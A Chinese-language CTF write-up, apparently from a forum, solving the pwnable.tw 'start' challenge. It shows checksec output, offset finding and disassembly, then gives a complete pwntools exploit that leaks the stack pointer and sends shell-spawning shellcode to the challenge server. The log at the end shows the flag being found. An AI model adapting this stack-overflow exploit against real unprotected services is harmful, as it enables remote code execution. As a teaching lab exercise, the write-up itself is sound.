start - 栈溢出
[Asm] 纯文本查看 复制代码 pwndbg> checksec
/start
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
没有保护措施,直接上栈溢出
[Asm] 纯文本查看 复制代码 pwndbg> cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[Asm] 纯文本查看 复制代码 ESP 0xffffd5fc ◂— 0x61616167 ('gaaa')
EIP 0x61616166 ('faaa')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x61616166
pwndbg> cyclic -l faaa
20
从代码里也能看出来
[Asm] 纯文本查看 复制代码 pwndbg> x/22i 0x08048060
0x8048060 <_start>: push esp
0x8048061 <_start+1>: push 0x804809d
0x8048066 <_start+6>: xor eax,eax
0x8048068 <_start+8>: xor ebx,ebx
0x804806a <_start+10>: xor ecx,ecx
0x804806c <_start+12>: xor edx,edx
0x804806e <_start+14>: push 0x3a465443
0x8048073 <_start+19>: push 0x20656874
0x8048078 <_start+24>: push 0x20747261
0x804807d <_start+29>: push 0x74732073
0x8048082 <_start+34>: push 0x2774654c
0x8048087 <_start+39>: mov ecx,esp
0x8048089 <_start+41>: mov dl,0x14
0x804808b <_start+43>: mov bl,0x1
0x804808d <_start+45>: mov al,0x4
0x804808f <_start+47>: int 0x80
0x8048091 <_start+49>: xor ebx,ebx
0x8048093 <_start+51>: mov dl,0x3c
0x8048095 <_start+53>: mov al,0x3
0x8048097 <_start+55>: int 0x80
0x8048099 <_start+57>: add esp,0x14
0x804809c <_start+60>: ret
这里栈的 esp 是 0x14 的 add,在汇编 0x8048099 处
于是直接上,发现不对
[Asm] 纯文本查看 复制代码 "A" * 20 + shellcraft.sh()
肯定是栈的位置没布置好,需要泄露栈的内容
那么考虑在 0x804809c 的 ret 处,往上跳转,那只可能是用 write 函数,泄露出 esp 的值,于是构造 payload
[Asm] 纯文本查看 复制代码 payload = b"A" * 20 + p32(0x8048087)
泄露出了 esp,那么就可以布置栈环境了
偏移是 20,EIP 地址是 esp + 20,shellcode 用 shellcraft.sh就好了
[Asm] 纯文本查看 复制代码 from pwn import *
debug = 0
online = 0
context(log_level = "debug", arch = 'i386', os = "linux")
if online == 0:
io = process("./start")
else:
io = remote("chall.pwnable.tw", 10000)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
ru("CTF:")
payload = b"A" * 20 + p32(0x8048087)
sn(payload)
esp = u32(io.recv()[:4])
log.info("esp = " + hex(esp))
shellcode = b"A" * 20 + p32(esp + 20) + asm(shellcraft.sh())
sn(shellcode)
io.interactive()
提交记录
[Asm] 纯文本查看 复制代码 $ find . -name flag
[DEBUG] Sent 0x12 bytes:
b'find . -name flag\n'
[DEBUG] Received 0x12 bytes:
b'./home/start/flag\n'
./home/start/flag |